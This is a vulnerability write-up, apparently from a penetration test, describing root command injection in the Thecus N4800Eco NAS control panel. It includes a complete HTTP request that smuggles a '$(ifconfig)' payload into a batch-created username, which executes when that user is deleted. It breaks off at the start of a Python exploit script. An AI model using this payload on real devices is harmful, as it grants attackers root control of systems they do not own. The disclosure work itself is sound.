Thecus N4800Eco Nas Server Control Panel Comand Injection
Command Injection vulnerability that lets attacker for executing command with root privileges.
I have discovered command injection vulnerability on the Thecus N4800Eco Nas Server control panel during penetration test. I could not analyze source code because I didn't have enough time. Hence, I will describe only how vulnerability is detected.
Firstly, I have tried to add user through Local User Configuration, but server didn't accept special chars such as
$)( . Also, user and group could be created using Batch Input option that is under the User and Group Authentication section. I set Batch Content as $(ifconfig),22222,9999 that corresponds to username, password and group name.Request:
POST /adm/setmain.php?fun=setbatch HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: https://target
Connection: close
Referer: https://target/adm/index.php
Cookie: select_md=0; MYSESSID=*
batch_content=%24(ifconfig)%2C22222%2C9999
So that filtering can be bypassed using Batch Content option for adding malicious payload as username. After the user adding process, I sent second request for deleting
$(ifconfig) user and Local User remove succeeds response is returned. However the user was not deleted, it is very interesting to me. I tried to understand what happened and noticed that there is a system log section. 
Surprisingly I saw that
ifconfig command is executed. 
For verifying the command injection vulnerability i tried another command such as
id
So there is a comman injection vulnerability that lets to execute command with
root privilege. Username parameter seems to vulnerable. It is time to write basic Python script.import requests
import sys
import urllib3
# To fix SSL error that occurs when script is started.
# 1- Open /etc/ssl/openssl.cnf file
# At the bottom of the file:
# [system_default_sect]
# MinProtocol = TLSv1.2
# CipherString = DEFAULT@SECLEVEL=2
# 2- Set value of MinProtocol as TLSv1.0
